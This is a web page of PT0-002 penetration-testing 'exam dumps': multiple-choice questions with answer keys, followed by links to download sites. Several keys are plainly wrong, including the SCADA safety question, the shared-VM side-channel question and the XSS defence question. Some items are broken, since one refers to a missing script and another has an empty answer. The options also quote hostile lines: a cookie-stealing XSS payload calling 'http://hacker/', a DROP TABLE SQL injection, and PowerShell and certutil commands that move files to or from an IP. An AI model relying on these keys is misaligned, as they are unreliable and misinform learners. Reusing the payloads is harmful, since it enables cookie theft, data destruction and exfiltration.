PT0-002 Updated Exam Dumps [2021] Practice Valid Exam Dumps Question
PT0-002 Sample with Accurate & Updated Questions
NEW QUESTION 12
Running a vulnerability scanner on a hybrid network segment that includes general IT servers and industrial control systems:
- A. will create a denial-of-service condition on the IP networks.
- B. will reveal vulnerabilities in the Modbus protocol.
- C. may cause unintended failures in control systems.
- D. may reduce the true positive rate of findings.
Answer: C
NEW QUESTION 13
Performing a penetration test against an environment with SCADA devices brings additional safety risk because the:
- A. devices produce more heat and consume more power.
- B. protocols are more difficult to understand.
- C. devices are obsolete and are no longer available for replacement.
- D. devices may cause physical world effects.
Answer: B
NEW QUESTION 14
A penetration tester wants to scan a target network without being detected by the client's IDS. Which of the following scans is MOST likely to avoid detection?
- A. nmap -f --badsum 192.168.1.10
- B. nmap -sA -sV --host-timeout 60 192.168.1.10
- C. nmap -A -n 192.168.1.10
- D. nmap -p0 -T0 -sS 192.168.1.10
Answer: B
NEW QUESTION 15
A company is concerned that its cloud service provider is not adequately protecting the VMs housing its software development. The VMs are housed in a datacenter with other companies sharing physical resources. Which of the following attack types is MOST concerning to the company?
- A. Data flooding
- B. Session riding
- C. Side channel
- D. Cybersquatting
Answer: B
NEW QUESTION 16
A penetration-testing team is conducting a physical penetration test to gain entry to a building. Which of the following is the reason why the penetration testers should carry copies of the engagement documents with them?
- A. As backup in case the original documents are lost
- B. To validate the billing information with the client
- C. As proof in case they are discovered
- D. To guide them through the building entrances
Answer: C
NEW QUESTION 17
User credentials were captured from a database during an assessment and cracked using rainbow tables. Based on the ease of compromise, which of the following algorithms was MOST likely used to store the passwords in the database?
- A. SHA-1
- B. PBKDF2
- C. bcrypt
- D. MD5
Answer: D
NEW QUESTION 18
Given the following code:
<SCRIPT>var+img=new+Image();img.src="http://hacker/%20+%20document.cookie;</SCRIPT> Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)
- A. Session tokens
- B. Base64 encoding
- C. Output encoding
- D. Input validation
- E. Web-application firewall
- F. Parameterized queries
Answer: A,F
NEW QUESTION 19
A penetration tester writes the following script:
Which of the following objectives is the tester attempting to achieve?
- A. Determine active hosts on the network.
- B. Set the TTL of ping packets for stealth.
- C. Fill the ARP table of the networked devices.
- D. Scan the system on the most used ports.
Answer: A
NEW QUESTION 20
A penetration tester is scanning a corporate lab network for potentially vulnerable services. Which of the following Nmap commands will return vulnerable ports that might be interesting to a potential attacker?
- A. nmap 192.168.1.1-5 -PA22-25,80
- B. nmap 192.168.1.1-5 -PS22-25,80
- C. nmap 192.168.1.1-5 -Ss22-25,80
- D. nmap 192.168.1.1-5 -PU22-25,80
Answer: B
NEW QUESTION 21
You are a security analyst tasked with hardening a web server.
You have been given a list of HTTP payloads that were flagged as malicious.
INSTRUCTIONS
Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
Answer:
Explanation:
NEW QUESTION 22
A penetration tester conducted an assessment on a web server. The logs from this session show the following:
http://www.thecompanydomain.com/servicestatus.php?serviceID=892&serviceID=892 ' ; DROP TABLE SERVICES; -- Which of the following attacks is being attempted?
- A. Clickjacking
- B. Session hijacking
- C. Cross-site scripting
- D. Cookie hijacking
- E. Parameter pollution
Answer: E
NEW QUESTION 23
A penetration tester has completed an analysis of the various software products produced by the company under assessment. The tester found that over the past several years the company has been including vulnerable third-party modules in multiple products, even though the quality of the organic code being developed is very good. Which of the following recommendations should the penetration tester include in the report?
- A. Add a dependency checker into the tool chain.
- B. Perform routine static and dynamic analysis of committed code.
- C. Validate API security settings before deployment.
- D. Perform fuzz testing of compiled binaries.
Answer: D
NEW QUESTION 24
Which of the following are the MOST important items to include in the final report for a penetration test? (Choose two.)
- A. The network location of the vulnerable device
- B. The client acceptance form
- C. The name of the person who found the flaw
- D. The vulnerability identifier
- E. The CVSS score of the finding
- F. The tool used to find the issue
Answer: D,F
NEW QUESTION 25
A penetration tester is testing input validation on a search form that was discovered on a website. Which of the following characters is the BEST option to test the website for vulnerabilities?
- A. Single quote
- B. Semicolon
- C. Comma
- D. Double dash
Answer: A
NEW QUESTION 26
Which of the following BEST describes why a client would hold a lessons-learned meeting with the penetration-testing team?
- A. To discuss the findings and dispute any false positives
- B. To ensure the penetration-testing team destroys all company data that was gathered during the test
- C. To provide feedback on the report structure and recommend improvements
- D. To determine any processes that failed to meet expectations during the assessment
Answer: D
NEW QUESTION 27
Which of the following documents describes specific activities, deliverables, and schedules for a penetration tester?
- A. SOW
- B. NDA
- C. MOU
- D. MSA
Answer: A
NEW QUESTION 28
A penetration tester has obtained a low-privilege shell on a Windows server with a default configuration and now wants to explore the ability to exploit misconfigured service permissions. Which of the following commands would help the tester START this process?
- A. schtasks /query /fo LIST /v | find /I "Next Run Time:"
- B. certutil -urlcache -split -f http://192.168.2.124/windows-binaries/ accesschk64.exe
- C. wget http://192.168.2.124/windows-binaries/accesschk64.exe -O accesschk64.exe
- D. powershell (New-Object System.Net.WebClient).UploadFile('http://192.168.2.124/ upload.php', 'systeminfo.txt')
Answer: D
NEW QUESTION 29
......
Pass CompTIA PT0-002 Premium Files Test Engine pdf - Free Dumps Collection: https://www.guidetorrent.com/PT0-002-pdf-free-download.html
PT0-002 Exam Info and Free Practice Test | GuideTorrent: https://drive.google.com/open?id=1b8DfmOfNDxscYo38JuGxy_Ut5o1FnPgC